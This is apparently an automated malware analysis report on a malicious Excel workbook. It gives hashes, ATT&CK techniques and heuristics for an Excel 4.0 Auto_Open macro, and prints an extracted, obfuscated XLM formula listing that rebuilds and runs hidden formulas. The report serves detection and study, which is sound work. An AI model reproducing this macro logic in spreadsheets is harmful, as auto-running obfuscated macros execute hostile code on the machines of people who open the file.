Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b0ce100552b664a…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:13 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 6d2ef9f99ebf28819cd873ea5e6474e3 SHA-1: 2b3dd64ed54b9315a73c39b8658101490ea93f15 SHA-256: 0b0ce100552b664a7691518b58fc047316173d229b9af8821d578de71484e8fa
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a common technique for executing malicious code upon file opening. The macro sheet contains a reference to 'Auto_Open', suggesting it is configured to run automatically. This functionality is typically used to download and execute further stages of malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6487 bytes
SHA-256: 3470397189a20e4e16279e4a05df2accda35c7979c4848f5a5c4534074f3681c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Kbkt
' 0018     20 LABEL : Cell Value, String Constant - AByGX len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B132 
' 0018     20 LABEL : Cell Value, String Constant - ddYoZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - EqchYyiPESR len=0 
' 0018     24 LABEL : Cell Value, String Constant - jrfaUvHoh len=0 
' 0018     23 LABEL : Cell Value, String Constant - KcLnctfC len=0 
' 0018     22 LABEL : Cell Value, String Constant - kHXJlLC len=0 
' 0018     24 LABEL : Cell Value, String Constant - lUlQXHSEd len=0 
' 0018     27 LABEL : Cell Value, String Constant - NgMirkaWiEsX len=0 
' 0018     25 LABEL : Cell Value, String Constant - nlhDVgqpyN len=0 
' 0018     27 LABEL : Cell Value, String Constant - obYaXbXEQZAu len=0 
' 0018     26 LABEL : Cell Value, String Constant - OcMrPoMfydL len=0 
' 0018     27 LABEL : Cell Value, String Constant - qalqoufNUBlz len=0 
' 0018     25 LABEL : Cell Value, String Constant - SzLOQRjetC len=0 
' 0018     26 LABEL : Cell Value, String Constant - tLiPSeNzYEK len=0 
' 0018     21 LABEL : Cell Value, String Constant - tPLqjh len=0 
' 0018     25 LABEL : Cell Value, String Constant - vNXJFUzFRJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - WzCJghYw len=0 
' 0018     20 LABEL : Cell Value, String Constant - XBFzS len=0 
' 0018     25 LABEL : Cell Value, String Constant - ziTmmNnxdd len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZYzMF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Kbkt,B48,"SET.NAME("EqchYyiPESR",VALUE("0"))",""
'  Kbkt,B50,"SET.NAME("AByGX",EqchYyiPESR)",""
'  Kbkt,B52,"SET.NAME("SzLOQRjetC",EqchYyiPESR)",""
'  Kbkt,B55,"SET.NAME("ZYzMF",COUNTA(lUlQXHSEd))",""
'  Kbkt,B60,"SET.NAME("OcMrPoMfydL",COUNTA(nlhDVgqpyN))",""
'  Kbkt,B65,[],""
'  Kbkt,B68,"SET.NAME("qalqoufNUBlz","")",""
'  Kbkt,B70,"AByGX",""
'  Kbkt,B75,"SET.NAME("KcLnctfC",HLOOKUP("*",lUlQXHSEd,AByGX,FALSE))",""
'  Kbkt,B78,"ziTmmNnxdd",""
'  Kbkt,B83,"SET.NAME("obYaXbXEQZAu",EqchYyiPESR)",""
'  Kbkt,B88,[],""
'  Kbkt,B90,"obYaXbXEQZAu",""
'  Kbkt,B92,"vNXJFUzFRJ",""
'  Kbkt,B95,"kHXJlLC",""
'  Kbkt,B98,"WzCJghYw",""
'  Kbkt,B101,"SET.NAME("XBFzS",VALUE(HLOOKUP("*",nlhDVgqpyN,WzCJghYw,FALSE)))",""
'  Kbkt,B103,"tLiPSeNzYEK",""
'  Kbkt,B107,"qalqoufNUBlz",""
'  Kbkt,B109,"SzLOQRjetC",""
'  Kbkt,B112,NEXT(),""
'  Kbkt,B116,"jrfaUvHoh",""
'  Kbkt,B119,"SET.NAME("f",INT(T(FORMULA(T(qalqoufNUBlz)&"",""&T(jrfaUvHoh)))))",""
'  Kbkt,B121,"tPLqjh",""
'  Kbkt,B125,NEXT(),""
'  Kbkt,B130,RETURN(),""
'  Kbkt,B160,"SET.NAME("NgMirkaWiEsX",B48)",""
'  Kbkt,B162,"lUlQXHSEd",""
'  Kbkt,B166,"SET.NAME("nlhDVgqpyN",R57C15)",""
'  Kbkt,B168,"SET.NAME("tPLqjh",176)",""
'  Kbkt,B173,"SET.NAME("ddYoZ",2)",""
'  Kbkt,B175,NgMirkaWiEsX(),""
'  Kbkt,B176,HALT(),""